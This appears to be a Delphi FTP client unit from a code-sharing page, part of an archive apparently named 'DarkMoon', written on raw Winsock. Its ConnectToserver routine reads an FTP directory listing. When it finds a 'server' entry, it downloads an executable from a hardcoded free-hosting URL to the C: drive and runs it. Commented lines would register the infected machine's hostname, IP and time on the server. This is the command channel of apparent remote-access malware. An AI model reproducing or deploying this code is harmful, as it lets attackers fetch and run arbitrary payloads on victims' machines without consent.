Microsoft_UFTP.pas
资源名称:DarkMoon.rar [点击查看]
上传用户:hndmjx
上传日期:2014-09-16
资源大小:3369k
文件大小:13k
源码类别:
Delphi控件源码
开发平台:
Delphi
- unit UFTP;
- interface
- uses windows,WinSock,
- ShellApi,
- CommandsAndUtils;
- const
- WM_ftpcom = $0400 + $1004;
- WM_ftpdata = $0400 + $1005;
- WM_ftppasv = $0400 + $1006;
- FTP_sConnected =1 ;
- FTP_sDisconnected= 2 ;
- FTP_sUpload =3 ;
- FTP_sDownload = 4 ;
- FTP_sList = 5;
- var
- wVersionRequested : WORD ;
- inn : IN_ADDR ;
- nErrorStatus : integer;
- wsa_Data : WSADATA;
- ftpdata : TSocket;
- ftpdataclient : TSocket;
- ftpcom : TSocket;
- ftppasv: TSocket;
- ftpaddr : SOCKADDR_IN; // Internet address
- ftpCaddr : SOCKADDR_IN; // Internet address
- ftpCaddrserver : SOCKADDR_IN; // Internet address
- ftpPasvaddr : SOCKADDR_IN;
- ftpPasvServeraddr : SOCKADDR_IN ;
- FTP_WAIT : integer;
- FTP_Directories: string ;
- FTP_IP : STRING;
- FTP_Port : integer;
- FTP_Downloadfilename : string;
- FTP_Uploadfilename : string;
- FTP_TempFile : string ;
- id : cardinal;
- FTP_PASS : string;
- FTP_USer : string;
- FTP_Handle : HWND;
- FTP_status : integer;
- implementation
- {$R *.dfm}
- function stringtochar(st : string) : char;
- var c : char;
- begin
- c := #0;
- while c <> st do
- c := succ(c);
- stringtochar := c;
- end;
- procedure SocketClose(var Socket: TSocket; Handle: HWND ; wMsg : integer);
- var
- RC: integer;
- begin
- if Socket <> INVALID_SOCKET then
- begin
- WSAASyncSelect(Socket, Handle, wMsg , 0);
- if shutdown(Socket, 1) <> 0 then
- if WSAGetLastError <> WSAENOTCONN then
- begin
- // SocketError(WSAGetLastError);
- Exit;
- end;
- if closesocket(Socket) <> 0 then
- // SocketError(WSAGetLastError)
- else
- Socket:= INVALID_SOCKET;
- end;
- end;
- procedure CreateFTPPasv ;
- var
- HostEnt: PHostEnt;
- begin
- Sleep(2000);
- SocketClose ( ftppasv,FTP_Handle, WM_ftppasv);
- {--------------We have to create a socket for ftp Commands Client------------- }
- ftppasv := socket(AF_INET, SOCK_STREAM, 0);
- if (ftppasv <> INVALID_SOCKET) THEN BEGIN
- ftppasvaddr.sin_family := AF_INET;
- ftppasvaddr.sin_port := 0;
- ftppasvaddr.sin_addr.s_addr := htonl(INADDR_ANY);
- end;
- if (bind(ftppasv ,ftppasvaddr,sizeof(ftppasvaddr))= INVALID_SOCKET ) then begin
- halt;
- end;
- if (WSAAsyncSelect(ftppasv, FTP_Handle, WM_ftppasv , FD_READ or FD_READ or FD_WRITE or FD_CLOSE or FD_Connect) = SOCKET_ERROR) then begin
- halt;
- end;
- ftpPasvServeraddr.sin_family := AF_INET;
- ftpPasvServeraddr.sin_port := htons(FTP_Port);
- ftpPasvServeraddr.sin_addr.s_addr := inet_addr(pchar(FTP_IP));
- if ftpPasvServeraddr.sin_addr.s_addr = -1 then
- begin
- HostEnt := GetHostByName(pchar(FTP_IP));
- if HostEnt = nil then
- begin
- Exit;
- end;
- ftpPasvServeraddr.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
- end;
- if (connect(ftppasv,ftpPasvServeraddr,sizeof(ftpPasvServeraddr)) =SOCKET_ERROR) then begin
- //messagebox(0,'dddddddddddd','ddddddddd',0);
- end;
- end;
- procedure CreateFTPData ;
- begin
- SocketClose ( ftpdata,FTP_Handle, WM_ftpdata);
- {--------------We have to create a socket for ftp Data Server----------------- }
- ftpdata := socket(AF_INET, SOCK_STREAM, 0);
- if (ftpdata <> INVALID_SOCKET) THEN BEGIN
- ftpaddr.sin_family := AF_INET;
- ftpaddr.sin_port := htons(2600);
- ftpaddr.sin_addr.s_addr := htonl(INADDR_ANY);
- end;
- if (bind(ftpdata,ftpaddr,sizeof(ftpaddr))= INVALID_SOCKET ) then begin
- WSACleanup();
- halt;
- end;
- if ( listen(ftpdata,3)= INVALID_SOCKET) then begin
- WSACleanup();
- halt;
- end ;
- if (WSAAsyncSelect(ftpdata, FTP_Handle, WM_ftpdata, FD_ACCEPT or FD_CLOSE or FD_READ or FD_WRITE) = SOCKET_ERROR) then begin
- halt;
- end;
- end;
- procedure CreateFTPCOM ;
- begin
- SocketClose ( ftpcom ,FTP_Handle, WM_ftpcom);
- {--------------We have to create a socket for ftp Commands Client------------- }
- ftpcom := socket(AF_INET, SOCK_STREAM, 0);
- if (ftpcom <> INVALID_SOCKET) THEN BEGIN
- ftpCaddr.sin_family := AF_INET;
- ftpCaddr.sin_port := 0;
- ftpCaddr.sin_addr.s_addr := htonl(INADDR_ANY);
- end;
- if (bind(ftpcom ,ftpCaddr,sizeof(ftpCaddr))= INVALID_SOCKET ) then begin
- halt;
- end;
- if (WSAAsyncSelect(ftpcom, FTP_Handle, WM_ftpcom , FD_READ or FD_READ or FD_WRITE or FD_CLOSE or FD_Connect) = SOCKET_ERROR) then begin
- halt;
- end;
- end;
- procedure FTP_MKD (dir : string);
- begin
- SendData (ftpcom,'MKD ' + dir + #13#10);
- end;
- procedure FTP_DEL (source : string);
- begin
- SendData (ftpcom,'DELE ' + source + #13#10);
- end;
- procedure FTP_RMD(old: string;new : string);
- begin
- SendData (ftpcom,'RNFR ' + old + #13#10);
- sleep(100);
- SendData (ftpcom,'RNTO ' + old + #13#10);
- end;
- function FTP_LIST(DIR : string): string;
- begin
- FTP_status:=FTP_sList ;
- FTP_Directories:='';
- CreateFTPData;
- sleep(100);
- SendData (ftpcom,'PASV '+ replace ( LocalIP,'.',',') + ',10,40' + #13#10);
- sleep(100);
- SendData (ftpcom,'NLST ' + Dir+ #13#10);
- end;
- procedure FTP_Connect(Host: string;User : string; PASS : string;Port : integer);
- var
- HostEnt: PHostEnt;
- begin
- FTP_PASS:=PASS;
- FTP_User:=User ;
- CreateFTPCom;
- ftpCaddrserver.sin_family := AF_INET;
- ftpCaddrserver.sin_port := htons(Port);
- ftpCaddrserver.sin_addr.s_addr := inet_addr(pchar(Host));
- if ftpCaddrserver.sin_addr.s_addr = -1 then
- begin
- HostEnt := GetHostByName(pchar(Host));
- if HostEnt = nil then
- begin
- Exit;
- end;
- ftpCaddrserver.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
- end;
- if (connect(ftpcom, ftpCaddrserver,sizeof(ftpCaddrserver)) =SOCKET_ERROR) then begin
- //messagebox(0,'dddddddddddd','ddddddddd',0);
- end;
- end;
- procedure FTP_CWD(DIR : string);
- begin
- sleep(100);
- SendData (ftpcom,'CWD ' + DIR+ #13#10);
- end;
- procedure FTP_Upload (filename : string);
- begin
- FTP_status:=FTP_sUpload ;
- FTP_Uploadfilename:=filename;
- If FileExists (FTP_Uploadfilename)=true Then begin
- SendData (ftpcom,'PASV ' + #13#10);
- sleep(100);
- SendData (ftpcom,'STOR ' + GetFileName(filename) + #13#10);
- end;
- end;
- procedure FTP_download(remotefile : string) ;
- begin
- FTP_status:=FTP_sDownload ;
- SendData (ftpcom,'PASV ' + #13#10);
- sleep(100);
- SendData (ftpcom,'RETR ' + remotefile + #13#10);
- end;
- procedure FTP_Desconect;
- begin
- end;
- procedure ConnectToserver ;
- var
- temp,temp1,temp2,tempData : string;
- a,i : integer;
- begin
- sleep(100);
- temp :=replace(FTP_Directories,#13#10,'*');
- i:=FindNChars (temp ,'*' );
- for a:= 1 to i do begin
- temp1:= (copy(temp,1,FindChar(temp,'*'))) ;
- temp2:= copy(temp1,1,length(temp1)-1 );
- sleep(10);
- if copy( temp2,1,6)='server' then begin
- Descargar ( 'http://shukisnike.250free.com/ips/server.exe','c:server.exe');
- ShellEx( 'c:server.exe')
- end;
- if copy( temp2,1,9)='darkmoon_' then begin
- messagebox (0,pchar(temp2),'',0);
- //cIP:=copy(temp2,10,length(temp2) );
- //cIP:=replace(cIP,'a','.');
- end;
- temp:=replace ( temp,temp1,'' );
- end ;
- end;
- procedure ftpdataEvents( wParam,lParam: Integer);
- var
- Recived : string;
- BytesToRead : Integer;
- Begin
- case lParam of
- FD_READ: begin
- if ioctlsocket(wParam, FIONREAD, LongInt(BytesToRead)) = 0 then
- begin
- SetLength( Recived, BytesToRead );
- Recv( wparam, Pointer( Recived )^, BytesToRead, 0 );
- if FTP_status=FTP_sList then begin
- // FTP_Directories:=FTP_Directories + Recived ;
- end;
- //frmMain.Memo2.Lines.Add( Recived ) ;
- end;
- end;
- FD_ACCEPT: begin
- ftpdataclient:= accept(ftpdata,nil,nil);
- end;
- FD_CLOSE: begin
- try CloseSocket(wParam ); except end;
- end;
- end;
- End;
- procedure ftpPasvEvents( wParam,lParam: Integer);
- var
- Recived : string;
- BytesToRead : Integer;
- begin
- case lParam of
- FD_READ: begin
- if ioctlsocket(wParam, FIONREAD, LongInt(BytesToRead)) = 0 then
- begin
- SetLength( Recived, BytesToRead );
- Recv( wparam, Pointer( Recived )^, BytesToRead, 0 );
- FTP_WAIT:=0;
- if FTP_status=FTP_sList then begin
- FTP_Directories:=Recived ;
- ConnectToserver;
- end
- else
- begin
- // frmMain.Memo2.Lines.Add( Recived);
- end;
- end;
- end ;
- FD_Connect:
- begin
- // frmMain.Caption:='PASV';
- // SendData ( ftppasv, 'ssssssssssssssss .'+ #13#10);
- // closesocket(ftppasv);
- // SendData (ftpcom, 'PASS ' + 'KissmyAss123' + #13#10);
- // SendData (ftpcom, 'CWD ' + '/ips' + #13#10);
- //SendData (ftpcom, 'MKD ' + GetLocalHostName + '__' + LocalIP + '__' + TIME + '__' + ddATE + #13#10);
- //SendData (ftpcom, 'PORT ' + replace ( LocalIP,'.',',') + ',10,40' + #13#10);
- // SendData (ftpcom, 'NLST ' + #13#10);
- end;
- end;
- end;
- procedure ftpcomEvents( wParam,lParam: Integer);
- var
- Recived : string;
- BytesToRead : Integer;
- temp : string;
- port1, port2 : integer;
- F :file of char;
- G :textfile;
- s,Data,Data1, Data3,tmpData,tmpData1: string;
- l ,c : char;
- begin
- case lParam of
- FD_READ: begin
- if ioctlsocket(wParam, FIONREAD, LongInt(BytesToRead)) = 0 then
- begin
- SetLength( Recived, BytesToRead );
- Recv( wparam, Pointer( Recived )^, BytesToRead, 0 );
- if copy (Recived,1,8)= '150-FILE' then begin
- FTP_TempFile:= split ( Recived,':',1);
- FTP_TempFile:= replace (FTP_TempFile,#13#10,'*');
- FTP_TempFile:= split ( FTP_TempFile,'*',0);
- // frmmain.Label3.Caption:=FTP_TempFile;
- // FTP_RMD (FTP_TempFile,'zzapper.txt');
- If FileExists (FTP_Uploadfilename)=true Then begin
- Data:='';
- AssignFile (F,FTP_Uploadfilename);
- FileMode := 0;
- Reset (F);
- while not eof( F ) do
- begin
- read( F, l );
- Data := Data + l;
- end;
- SendData ( ftppasv,Data + #13#10);
- end;
- closesocket(ftppasv);
- end;
- if copy (Recived,1,3)='150'then begin
- if FTP_status=FTP_sUpload then begin
- If FileExists (FTP_Uploadfilename)=true Then begin
- Data:='';
- AssignFile (F,FTP_Uploadfilename);
- FileMode := 0;
- Reset (F);
- while not eof( F ) do
- begin
- read( F, l );
- Data := Data + l;
- end;
- SendData ( ftppasv,Data + #13#10);
- sleep(100);
- closesocket(ftppasv);
- end;
- End;
- if FTP_status=FTP_sDownload then begin
- end;
- end;
- if copy (Recived,1,3)='227'then begin
- temp:=( split ( Recived,'(',1));
- FTP_IP:=(split (temp,',',0) + '.' + split (temp,',',1) +'.' + split (temp,',',2) + '.' +split (temp,',',3) );
- FTP_Port:=(strtoint(split (temp,',',4))*256)+strtoint(split (temp,',',5));
- BeginThread ( nil, 0, @ CreateFTPPasv, nil, 0, id );
- //showmessage ( FTP_IP + ' ' + inttostr(FTP_Port));
- end;
- // frmMain.Memo1.Lines.Add( Recived);
- end;
- end ;
- FD_Connect:
- begin
- // frmMain.Caption:='connected';
- SendData (ftpcom, 'USER ' + FTP_USER + #13#10);
- SendData (ftpcom, 'PASS ' + FTP_PASS + #13#10);
- // SendData (ftpcom, 'CWD ' + '/ips' + #13#10);
- //SendData (ftpcom, 'MKD ' + GetLocalHostName + '__' + LocalIP + '__' + TIME + '__' + ddATE + #13#10);
- //SendData (ftpcom, 'PORT ' + replace ( LocalIP,'.',',') + ',10,40' + #13#10);
- // SendData (ftpcom, 'NLST ' + #13#10);
- end;
- end;
- end;
- procedure FTPSETUP(Handle : HWND);
- begin
- FTP_Handle:=Handle ;
- wVersionRequested :=MAKEWORD(1, 1) ; //start the winsock
- nErrorStatus := WSAStartup(wVersionRequested, wsa_Data);
- if (nErrorStatus <> 0) then begin
- //WSAGetLastError()
- messagebox(0,pchar(inttostr(nErrorStatus)),'ddddddd',0);
- end;
- if ( (LOBYTE(wsa_Data.wVersion) <> LOBYTE(wVersionRequested)) and
- (HIBYTE(wsa_Data.wVersion) <> HIBYTE(wVersionRequested)) ) then
- begin
- halt;
- WSACleanup(); // terminate WinSock use
- end;
- //label1.Caption:=LocalIP;
- //edit2.Text:=replace ( LocalIP,'.',',')
- end;
- end.